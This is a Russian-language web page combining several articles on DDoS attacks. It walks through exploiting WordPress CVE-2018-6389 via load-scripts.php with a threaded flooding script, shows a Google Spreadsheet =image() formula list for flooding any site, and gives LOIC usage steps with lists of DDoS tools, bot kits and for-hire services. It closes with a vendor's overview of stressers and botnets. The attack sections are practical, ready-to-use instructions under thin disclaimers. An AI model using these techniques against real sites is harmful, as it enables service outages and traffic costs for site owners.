Как заддосить сайт при помощи WordPress
Что самое первое делает любой начинающий хакер? Конечно же показывает свои способности по воздействию на тот или иной онлайн ресурс. Самым простым видом демонстрации силы является показать что он может положить сайт. В сегодняшнем материалы мы рассказываем как заддосить сайт используя при этом самый распространенный в мире движек wordpress.
Содержание скрыть
Брешь была обнаружена израильским ресерчером Бараком Тавили (Barak Tawily aka Quitten), когда он изучал очередной проект на WordPress. Уязвимость получила идентификатор CVE-2018-6389 и присутствует на тысячах сайтов по всему миру, так как разработчики из WordPress Foundation не спешат признавать серьезность проблемы и исправлять ее. В результате от бага не избавлены даже самые свежие на момент написания статьи версии CMS — 4.9.5.
Итак, предлагаю посмотреть на уязвимость поближе, а там ты уже сам решишь, как заддосить сайт с помощью wordpress.
Рабочее окружение для демострации как заддосить сайт
Я уже неоднократно поднимал стенд для тестирования уязвимостей в WordPress, чтобы написать об очередной уязвимости, поэтому быстренько пробегусь по основным аспектам, не сильно вдаваясь в подробности.
По традиции используем контейнер Docker на Debian и седьмую версию PHP с Apache.
$ docker run -it --rm -p80:80 --name=wpdos --hostname=wpdos debian /bin/bash $ apt-get update && apt-get install -y mysql-server apache2 php php7.0-mysqli nano wget
Скачиваем и распаковываем WordPress версии 4.9.5:
$ cd /tmp && wget https://wordpress.org/wordpress-4.9.5.tar.gz $ tar xzf wordpress-4.9.5.tar.gz $ rm -rf /var/www/html/* && mv wordpress/* /var/www/html/ $ chown -R www-data:www-data /var/www/html/
Запускаем необходимые сервисы:
$ service mysql start && service apache2 start $ mysql -u root -e "CREATE DATABASE wpdos; GRANT ALL PRIVILEGES ON *.* TO 'root'@'localhost' IDENTIFIED BY 'megapass';"
Дальше дело за установкой CMS через браузер.

Детали уязвимости позволяющей создать ддос атаку
Итак, Тавили во время просмотра очередного сайта на WordPress обратил внимание на скрипт load-scripts.php . Он используется для отображения JavaScript. Названия загружаемых файлов указываются в параметре load , и при выводе их содержимое объединяется. Сделано это для того, чтобы ускорить загрузку страницы и уменьшить количество запросов к серверу.
Таким образом, чтобы браузер получил все нужные для корректного отображения файлы JS, достаточно сделать запрос на один скрипт load-scripts.php , в параметрах которого будут перечислены все необходимые файлы JavaScript. Это, кстати, довольно распространенная практика при разработке бэкенда. Та же логика у скрипта load-styles.php , только в отношении файлов CSS.
Посмотрим на исходный код load-scripts.php . Названия файлов указываются через запятую.
/wp-admin/load-scripts.php
17: $load = $_GET['load']; 18: if ( is_array( $load ) ) 19: $load = implode( '', $load ); 20: 21: $load = preg_replace( '/[^a-z0-9,_-]+/i', '', $load ); 22: $load = array_unique( explode( ',', $load ) );
Какие же скрипты мы можем загрузить? Разумеется, произвольный файл прочитать не получится, существует четко прописанный список разрешенных объектов.
/wp-admin/load-scripts.php
48: foreach ( $load as $handle ) < 49: if ( !array_key_exists($handle, $wp_scripts->registered) ) 50: continue; 51: 52: $path = ABSPATH . $wp_scripts->registered[$handle]->src; 53: $out .= get_file($path) . "\n"; 54: >
Этот список находится в свойстве registered класса WP_Scripts и заполняется при помощи функции wp_default_scripts из файла script-loader.php .
/wp-admin/load-scripts.php
36: $wp_scripts = new WP_Scripts(); 37: wp_default_scripts($wp_scripts);
/wp-includes/script-loader.php
37: /** 38: * Register all WordPress scripts. . 46: * @param WP_Scripts $scripts WP_Scripts object. 47: */ 48: function wp_default_scripts( &$scripts )
Пополняется список разрешенных к загрузке файлов при помощи метода add .
/wp-includes/script-loader.php
048: function wp_default_scripts( &$scripts ) < . 086: $scripts->add( 'wp-a11y', "/wp-includes/js/wp-a11y$suffix.js", array( 'jquery' ), false, 1 ); 087: 088: $scripts->add( 'sack', "/wp-includes/js/tw-sack$suffix.js", array(), '1.6.1', 1 ); . 125: $scripts->add( 'editor', "/wp-admin/js/editor$suffix.js", array('utils','jquery'), false, 1 ); .
В параметрах вызова указываются название элемента, путь до файла, зависимости от других элементов, версия и прочее.
/wp-includes/class.wp-scripts.php
18: class WP_Scripts extends WP_Dependencies
/wp-includes/class.wp-dependencies.php
206: public function add( $handle, $src, $deps = array(), $ver = false, $args = null ) < 207: if ( isset($this->registered[$handle]) ) 208: return false; 209: $this->registered[$handle] = new _WP_Dependency( $handle, $src, $deps, $ver, $args ); 210: return true; 211: >
Полный список всех вызовов загружаемых элементов можно найти тут. Всего их 181. По умолчанию загружаются минифицированные версии скриптов.
/wp-includes/script-loader.php
67: $suffix = SCRIPT_DEBUG ? '' : '.min'; 68: $dev_suffix = $develop_src ? '' : '.min';

Идея в том, чтобы прочитать все возможные JS-файлы одним запросом. Он получается монструозным, не буду приводить его целиком, но вместо многоточия в конце должно идти еще 170 названий файлов.
http://wpdos.visualhack/wp-admin/load-scripts.php?load=utils,common,wp-a11y,sack,quicktags,colorpicker,editor,wp-fullscreen-stub,wp-ajax-response,wp-api-request,wp-pointer.
Время, прошедшее от отправления запроса до первого полученного байта ответа, равно ~500 миллисекунд. Примерно столько сервер обрабатывал этот запрос.

Каждый файл читается отдельно при помощи file_get_contents .
/wp-admin/includes/noop.php
102: function get_file( $path ) < 103: 104: if ( function_exists('realpath') ) < 105: $path = realpath( $path ); 106: >107: 108: if ( ! $path || ! @is_file( $path ) ) < 109: return ''; 110: >111: 112: return @file_get_contents( $path ); 113: >
Получается, что каждый запрос будет вызывать 181 операцию ввода-вывода, и если таких запросов будет много, то в скором времени у сервера могут начаться проблемы. Особенно это касается сайтов на shared-хостингах.
Автоматизируем ддос атаку!
Теперь давай организуем множественные запросы к такому URL. Тавили для этих целей использовал самописную утилиту под названием doser, которая выполняет запросы к серверу в указанное количество потоков. Сам скрипт написан на Python 2.7 с использованием библиотек requests и threading.
Процедура вызова проста:
$ python doser.py -g -t 999
Ключ g говорит нам, что нужно отправлять запросы методом GET, а с помощью t можно указать количество потоков.
doser.py
067: def sendGET(url): . 070: try: 071: request_counter+=1 072: request = requests.get(url, headers=headers) . 094: while True: 095: global url 096: sendGET(url) . 113: def main(argv): . 115: parser.add_argument('-g', help='Specify GET request. Usage: -g \'\'') . 119: parser.add_argument('-t', help='Specify number of threads to be used', default=500, type=int) . 128: for i in range(args.t): 129: t = SendGETThread()
Возможно, решение не самое быстрое и оптимальное, но скрипт работает добросовестно и с задачей справляется. После двух тысяч запросов наш простенький сервер уже недоступен для обычного пользователя.

Чтобы добавить еще немного нагрузки, можешь дополнительно отправлять запросы на загрузку файлов CSS через load-styles.php .
Демонстрация уязвимости как заддосить сайт.
Выводы
Вот такой нестандартный вектор атаки. Конечно, импакт от его использования не слишком серьезный, иначе мы бы уже наблюдали массовый «падёж». Правильно настроенный выделенный сервер с защитой от ddos от такого трюка пострадать не должен. А вот на shared-хостингах стоят лимиты на потребляемые ресурсы, и, если они исчерпаются, могут возникнуть проблемы. Так, во время тестирования на одном из моих сайтов хостер заспамил мне почту сообщениями о превышении выделенных лимитов.
Почему же в WordPress не считают это своей проблемой и не торопятся исправлять? С одной стороны, разработчиков можно понять: они не несут ответственности за использование их CMS на слабых или некорректно настроенных серверах (WordPress вообще-то далеко не самая легкая CMS). Но это совсем не то, что хочется слышать от разработчиков системы, на которой работает твой блог. Проблему все равно придется фиксить, и я уверен, что есть масса безобидных способов сделать это. Да ей уже дали CVE, в конце концов!
DDOS любого сайта с помощью Google Spreadsheet
Google использует своего «паука» FeedFetcher для кэширования любого контента в Google Spreadsheet, вставленного через формулу =image(«link»).
Например, если в одну из клеток таблицы вставить формулу
=image("http://example.com/image.jpg")
Google отправит паука FeedFetcher скачать эту картинку и закэшировать для дальнейшего отображения в таблице.
Однако если добавлять случайный параметр к URL картинки, FeedFetcher будет скачивать её каждый раз заново. Скажем, для примера, на сайте жертвы есть PDF-файл размером в 10 МБ. Вставка подобного списка в таблицу приведет к тому, что паук Google скачает один и тот же файл 1000 раз!
=image("http://targetname/file.pdf?r=1") =image("http://targetname/file.pdf?r=2") =image("http://targetname/file.pdf?r=3") =image("http://targetname/file.pdf?r=4") . =image("http://targetname/file.pdf?r=1000")
Все это может привести к исчерпанию лимита трафика у некоторых владельцев сайтов. Кто угодно, используя лишь браузер с одной открытой вкладкой, может запустить массированную HTTP GET FLOOD-атаку на любой веб-сервер.
Атакующему даже необязательно иметь быстрый канал. Поскольку в формуле используется ссылка на PDF-файл (т.е. не на картинку, которую можно было бы отобразить в таблице), в ответ от сервера Google атакующий получает только N/A. Это позволяет довольно просто многократно усилить атаку [Аналог DNS и NTP Amplification – прим. переводчика], что представляет серьезную угрозу.

С использованием одного ноутбука с несколькими открытыми вкладками, просто копируя-вставляя списки ссылок на файлы по 10 МБ, паук Google может скачивать этот файл со скоростью более 700 Мбит/c. В моем случае, это продолжалось в течение 30-45 минут, до тех пор, пока я не вырубил сервер. Если я все правильно подсчитал, за 45 минут ушло примерно 240GB трафика.
Я удивился, когда увидел объем исходящего трафика. Еще немного, и я думаю, исходящий трафик достиг бы 1 Гбит/с, а входящий 50-100 Мбит/с. Я могу только представить, что произойдет, если несколько атакующих будут использовать этот метод. Паук Google использует не один IP-адрес, и хотя User-Agent всегда один и тот же, редактировать конфиг веб-сервера может быть слишком поздно, если атака застанет жертву врасплох. Благодаря простоте использования, атака легко может продолжаться часами.
Когда обнаружился этот баг, я стал гуглить инциденты с его использованием, и нашел два:
• Статья, где блогер описывает, как случайно атаковал сам себя и получил огромный счет за трафик. [Перевод на хабре – прим. переводчика].
• Другая статья описывает похожую атаку с помощью Google Spreadsheet, но сначала, автор предлагает спарсить ссылки на все файлы сайта и запустить атаку по этому списку с использованием нескольких аккаунтов.
Я нахожу несколько странным, что никто не догадался попробовать добавить к запросу случайный параметр. Даже если на сайте всего один файл, добавление случайного параметра позволяет сделать тысячи запросов к этому сайту. На самом деле, это немного пугает. Простая вставка нескольких ссылок в открытую вкладку браузера не должна приводить к такому.
Вчера я отправил описание этого бага в Google и получил ответ, что это не уязвимость, и не проходит по программе Bug Bounty. Возможно, они заранее знали о нём, и действительно не считают это багом?
Тем не менее, я надеюсь, они пофиксят эту проблему. Просто немного раздражает, что любой может заставить паука Google доставить столько проблем. Простой фикс заключается в том, чтобы скачивать файлы пропуская дополнительные параметры в URL [На мой взгляд, это очень плохой фикс. Возможно, стоит ограничить пропускную способность или лимитировать количество запросов и трафик в единицу времени и при этом не скачивать файлы больше определенного размера – прим. переводчика].
Как сделать Ддос атаку: самые эффективные способы и программы
![]()

Для тех , кто ищет, как сделать Ддос-атаку, хочется напомнить, что подобные действия наказываются законодательством многих стран и очень часто — реальными тюремными сроками. Поэтому , перед тем как затевать такие вещи, нужно тщательно все взвесить, стоит ли оно того.
Данная статья не является руководством для осуществления Ddos-атак, а написана исключительно для ознакомления, так как вся предоставленная ниже информация может быть найдена в открытых источниках.
Что такое Ддос-атака?

Под Ddos-атакой понимают специальные действия определенных людей, направленные на блокировку какого-либо веб - ресурса. Под такими действиями понимают массовую отсылку запросов на сервер или веб - сайт, который нужно «положить». Количество подобных запросов должно превышать все возможные лимиты, чтобы защитные инструменты провайдера заблокировали атакуемый веб - ресурс.
Реальная Ddos-атака практически невозможна без помощи других пользователей или специальных программ. Один человек с одного компьютера не способен «руками» отослать нужное количество запросов, чтобы веб - ресурс «лег». Поэтому многих и интересует, как можно сделать Ддос-атаку при помощи сторонних программ. Но об этом чуть ниже.
Почему Ddos-атаки имеют успех?

Ddos-атака — это реальный способ «насолить» конкуренту , и некоторые веб - предприниматели не гнушаются пользоваться этим «черным инструментом» конкурентной борьбы. Обычно Д дос-атака бывает эффективной из-за проблем провайдеров:
- не надежны е межсетевы е экран ы ;
- бреши в системе безопасности;
- проблемы в операционной системе серверов;
- нехватк а системной мощности для обработки запросов;
- и др.
Именно эт и проблем ы и дают возможность осуществить эффективную Ddos-атаку. Поэтому проблема безопасности у IT-компаний всегда стоит на первом месте. Но современная защита стоит дорого, а потому условно считается, что чем больше денег компания-провайдер тратит на защиту своих ресурсов, тем надежнее защита. Но не все провайдеры у нас такие , как Microsoft или Yahoo (хотя и эти компании подвергались Ddos-атакам!), есть и менее финансово обеспеченные, которые более всего подвержены Ддосу.
Виды Ддос-атак

Даже у Ддос-атак есть собственная классификация. Вот как она выглядит:
- Массовое направление на сервер некорректных инструкций, выполнение которых приводит к аварийному завершению работы.
- Массовое направление пользовательских данных на сервер, что приводит к их бесконечной обработк е и повышению нагрузки на сам сервер.
- Массовое направление неправильных инструкций к серверу, что также увеличивает его нагрузку.
- Массовая атака ложными адресами, что приводит к «забиванию» каналов связи.
Обобщив, можно сказать , что Ddos-атака — это «массовость» каких-либо действий, которые могут сделать так, что сервер перестанет работать.
Ddos-атака: как сделать

Перед тем как сделать Ддос-атаку , нужно знать , для чего и на кого она рассчитана. Как правило, такие атаки плотно связаны с конкретным сайтом и конкретным хостингом. У каждого хостинга могут быть свои слабые места , поэтому «точки атак» могут быть разные. Из этого следует, что и инструменты , и подходы для совершения Ддос-атаки нужно подбирать конкретно под ресурс и хостинг, потому что один и тот же инструмент на разных ресурсах может сработать, а может и нет.
Программа для Ddos-атак по IP и URL

Самой распространенной подобной программой является LOIC. Это не какая-то сверхсекретная утилита из darknet — это приложение есть в открытом доступе , и , в принципе , любой желающий может его скачать и использовать.
Эта программа рассчитана для Ddos-атак, когда вам заранее известен IP и URL атакуемого ресурса. Чтобы воспользоваться данной программой , нужно:
- Найти и скачать ее из и нтернета, она там есть в открытом доступе.
- Активировать это приложение при помощи файла «loic.exe».
- Ввести в открывшихся полях IP и URL атакуемого ресурса.
- Отрегулировать уровень передачи запросов.
- Нажать для старта кнопку «imma chargin mah lazer».
Конечно , запуском одной такой программы с одного компьютера вы , скорее всего , не с можете навредить ресурсу, потому что у него сработает его система безопасности. Но если будет 10 запущенных программ на один ресурс? А 100?
Еще инструменты, как сделать Ддос-атаку

Как уже говорили, уровень безопасности у разных ресурсов будет разный, поэтому , если не помогла программа LOIC, хотя при «массовости» она может помочь, можно попробовать что-то из следующего списка простых и не очень инструментов , нацеленных «положить» сервер различными запросами:
- Fg Power Ddoser
- Silent Ddoser
- Dnet Ddoser
- Darth Ddoser
- H y po Crite
- Host Booter
- Good Bye v3/0-v5.0
- Black Peace Group Ddoser
Можно также использовать Ddos-атаку из «зараженной» программы, для этого подойдут следующие инструменты:
- PHPDos
- TWBooter
- Dark Shell
- War Bot
- Infinity Bot
- Darkness
- Russkill
- Armageddon
Если после применения инструментов, которые описаны выше , вы так и не нашли подходящий, то можете воспользоваться услугами Ddos-сервисов:
- Wild Ddos
- Death Ddos Serice
- Ddos SerVis
- Beer Ddos
- No Name
- Oxia Ddos Service
- Wotter Ddos Service
- Ice Ddos
Заключение
Список программ и инструментов «как можно сделать Ддос-атаку» , на самом деле , очень большой. А это означает, что данное незаконное действие является весьма популярным среди пользователей.
Убедительная просьба, перед тем как планировать или организовывать Ddos-атаку, подумайте , нужно ли вам это? Хотим еще раз напомнить, что Ddos-атаки уголовно наказуемы!
Мы будем очень благодарны
если под понравившемся материалом Вы нажмёте одну из кнопок социальных сетей и поделитесь с друзьями.
Можно ли заказать мощную DDoS-атаку за 10 минут, имея 900 ₽?
Согласно данным NETSCOUT — нашего партнера по защите от DDoS-атак, за первое полугодие 2020 года в мире произошло 4,83 млн DDoS-атак. Это на 15% больше, чем за тот же период 2019 года.
Динамика и прогнозы неутешительны — количество DDoS-атак будет расти. Причиной этому послужила не только удаленная работа, но и стремительное развитие сетей 5G, IoT и легкодоступность инструментов для совершения DDoS-атак. Только представьте: в открытом доступе (и даже не в DarkNet) можно получить доступ к более чем 500 000 принтеров, которые без труда могут использоваться, например, для создания ботнета.
Мы провели небольшое исследование, чтобы понять, насколько легко можно нанести вред среднему и крупному бизнесу с помощью DDoS-атак. Даже тем, кто только вчера мог узнать, что такое DDoS-атака. Исследование проведено в ознакомительных целях.
Цели злоумышленников, использующих DDoS-атаки
Вымогательство
Чаще всего атаки заказывают вымогатели. Они находят контактные данные на сайте жертвы, обращаются к DDoS-ерам и просят запустить небольшую атаку перед тем, как выдвинуть жертве свои требования. В среднем такая атака длится не более часа. Следом за этим жертве приходит письмо с требованием откупиться от более масштабной атаки в будущем или предложением восстановить работоспособность сервиса за деньги.
Конкурентная война
Борьба за покупателей вынуждает бизнес искать новые инструменты конкурентной войны, даже незаконные. DDoS-атаку могут заказать недобросовестные конкуренты с различными целями: нанести урон репутации, финансовые убытки, обеспечить неработоспособность сайта/сервиса на длительный период и так далее.
Охота за ценными данными
DDoS-атака может также служить инструментом отвлечения внимания специалистов по информационной безопасности. Совершая такую атаку, киберпреступники параллельно могут попытаться завладеть, например, ценными данными компании-жертвы.
Сколько стоит
Один из сервисов по заказу DDoS-атак предлагает самый дешевый тариф — 10$ в месяц, а за 350$ в месяц (или ≈ 900 ₽/день) можно получить неограниченное количество атак мощностью до 320 Gbps. Некоторые сервисы даже предлагают бесплатный пробный тариф — запустить DDoS-атаку на 5–10 минут, чтобы продемонстрировать свои мощности.


Тарифные планы на одном из сайтов-стрессеров
Можно ли заказать атаку за 10 минут?
Чтобы успешно атаковать слабо защищенный сервис, например, интернет-магазин среднего уровня, потребуется немного ресурсов. Достаточно использовать стрессеры. Найти такой сервис можно прямо в Яндексе или Google, а чтобы зарегистрироваться и заказать атаку потребуется менее 10 минут.
Если нужно атаковать хорошо защищенный сервис, могут использоваться ботнеты для мощных многовекторных атак. Заказать атаку через ботнеты также не составит труда, однако потребуется больше времени на подготовку.
Как устроены самые популярные решения по защите от DDoS-атак, читайте в этой статье.
Стрессеры
Стрессер — это сервис, через который можно заказывать и контролировать атаку. Функционал реализован наподобие личного кабинета с панелью управления.
Официально владельцы стрессеров заявляют, что они предназначены для тестирования собственных ресурсов на устойчивость к DDoS-атакам. Но на деле пользователи никак не контролируются, и каждый может заказать атаку на любой сайт. Достаточно выбрать тип атаки, добавить сайт жертвы и оплатить выбранный тариф.
Найти стрессеры также не составляет труда — достаточно ввести в поисковой системе запрос, например «заказать DDoS-атаку». Google по такому запросу выдает 5 стрессеров из 10 вариантов поисковой выдачи на первой странице. На закрытых форумах, в DarkNet и Telegram предложений заказать DDoS-атаки значительно больше.
Кстати, только в Яндексе запрос «заказать DDoS-атаку» вводят от 100 до 200 раз в месяц:

Сервис wordstat.yandex.ru, ежемесячная динамика использования запроса «заказать DDoS-атаку»
Защититься от DDoS-атак, организованных через стрессеры, сравнительно несложно. Достаточно подключить облачную защиту или защиту, предоставляемую интернет-провайдерами.
Ботнеты
Ботнеты — это огромные сети из зараженных устройств (домашние компьютеры, роутеры, принтеры и другие устройства IoT), с помощью которых реализуются DDoS-атаки.
За последние несколько лет архитектура и возможности ботнетов значительно расширились. Один из основных факторов, повлиявших на развитие ботнета — распространение устройств IoT: к интернету подключается 7,7 миллиона устройств IoT каждый день. И только 1 из 20 обеспечено защитой высокого уровня.
Один из самых масштабных ботнетов — Mirai, в состав которого входит более 560000 устройств. В октябре 2016 года Mirai был использован для масштабной атаки на DNS-провайдера Dyn. Киберпреступники «обвалили» несколько серверов по всему миру и временно нарушили работу Twitter, GitHub и Spotify. Хотя в этой атаке было задействовано около 100000 тысяч устройств IoT, ее мощность составила 1 Тбит/с.
Даже домашнее устройство достаточно просто заразить и подключить к ботнету — это могут сделать и начинающие хакеры.
Пример 1. Через установку зараженного ПО. Киберпреступники, используя специальный сервис (билдер), заражают вирусом программу-установщик. Когда такой файл открывается на компьютере, он заражает систему. Доступ к такому билдеру может стоить приблизительно 80000 рублей, а одна установка зараженного файла на компьютер пользователя может стоить 3–10 рублей. Зараженный компьютер становится частью ботнета.
Пример 2. Через использование уязвимостей в целевых системах или получение доступа к системам, защищенным слабыми паролями. В одной из следующих статей мы расскажем и продемонстрируем, как вредоносный скрипт ботнета Mirai заразил WiFi-роутер через брешь в защите устройства.
Мы собрали статистику по DDoS-атакам за первое полугодие 2020 года в удобной брошюре. Из этой статистики следует вывод о том, что DDoS-атаки стали более короткими и сложными, в результате у специалистов по ИБ остается меньше времени и ресурсов на их отражение. Подробнее об особенностях DDoS-атак в 2020 и как защищаться в 2021, читайте в нашей брошюре.
